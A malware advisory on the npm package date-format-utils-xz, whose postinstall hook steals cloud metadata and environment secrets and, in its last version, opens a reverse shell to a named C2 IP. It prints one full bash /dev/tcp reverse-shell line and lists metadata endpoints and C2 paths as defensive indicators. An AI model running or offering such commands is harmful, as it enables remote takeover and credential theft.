date-format-utils-xz — a metadata harvester that escalated to a reverse shell
The npm package date-format-utils-xz masquerades as a date-formatting utility — its own source comments call it “伪装成正常的日期格式化工具” (“disguised as a normal date formatting tool”). Every published version carries a postinstall hook that runs on npm install. Versions 1.0.0–1.0.3 harvest cloud instance-metadata (Alibaba, AWS/GCP, Tencent) and the full process environment and exfiltrate them to an attacker C2 (a domain zhijiujiu.cn, later the bare IP 8.135.48.40). Version 1.0.4 escalated to a full reverse shell — connecting back to 8.135.48.40:4444 and spawning /bin/sh — i.e. hands-on-keyboard remote code execution on install. The operator then unpublished the entire package from npm to erase the trail.
A malicious package disguised as a date-formatting helper. On npm install, its postinstall hook (node postinstall.js) executes automatically — before the package is ever imported.
All published versions (1.0.0–1.0.4) are malicious, and the payload escalated release to release. 1.0.0 is a recon beacon; 1.0.1–1.0.3 probe cloud instance-metadata and dump the process environment to a C2 (1.0.0/1.0.1 → domain zhijiujiu.cn; 1.0.2/1.0.3 → hard-coded IP 8.135.48.40, a domain→IP move that dodges DNS-based blocking). 1.0.4 dropped the harvester and installed a reverse shell instead — connecting to 8.135.48.40:4444 and spawning /bin/sh, giving the operator interactive remote code execution on any host that installs it.
Shortly after 1.0.4 was published, the operator unpublished the whole package from npm (all five versions), removing the evidence from the registry. codelake had already archived 1.0.0–1.0.3; 1.0.4 was recovered from a public registry mirror that still cached it.
The decoy index.js exports a working formatDate() function and is prefaced with a Chinese comment that translates to “disguised as a normal date formatting tool.”
Described from structural analysis of the packed tarball — no working payload or reproduction is published.
1. Trigger. package.json declares scripts.postinstall = "node postinstall.js"; npm runs it on install.
2. Cloud-metadata probing. The hook shells out with curl to the link-local metadata endpoints of the major clouds — Alibaba (100.100.100.200), AWS / GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) — to steal instance identity, roles and (on misconfigured instances) temporary cloud credentials.
3. Environment capture. It runs env to dump the full process environment (CI secrets, cloud tokens, npm tokens); the 1.0.3 variant also collects hostname, whoami, id, network interfaces, ls -la / and container-detection via /proc/1/cgroup.
4. Exfiltration (1.0.0–1.0.3). Results are POSTed to the C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3). The earliest release (1.0.0) is a lighter recon beacon: a GET to /pre?h={hostname}&u={user}. A failure path falls back to a raw Node http.request to /meta/err.
5. Reverse shell (1.0.4). The final release replaces the harvester with a reverse shell. It opens a raw TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket (no bash dependency); if that fails it falls back to a classic bash -i >& /dev/tcp/8.135.48.40/4444 0>&1, then to a python3 pty shell. Failures are beaconed to /shell/failed / /shell/error. This is interactive remote code execution — the operator gets a shell on every host that runs the install.
Any workstation or CI runner that installs date-format-utils-xz (directly or transitively) leaks its environment secrets and cloud metadata (1.0.0–1.0.3) or hands the operator an interactive shell (1.0.4).
Detected + classified independently by codelake Research via its install-hook behaviour pipeline — deterministic structural analysis of the packed tarballs. The 1.0.3→1.0.4 escalation (harvester → reverse shell) was flagged by codelake's predecessor-version differ as a top poison-injection candidate. Not present in OSV at time of detection — codelake is the source of record.
This is a confirmed-malware advisory. No working payload or reproduction is published — the behaviour is described from structural analysis, and the C2 indicators are named as defensive indicators only. The original artifacts (including 1.0.4, recovered from a registry mirror after the operator unpublished the package) are preserved in the codelake archive and available to verified security researchers on request.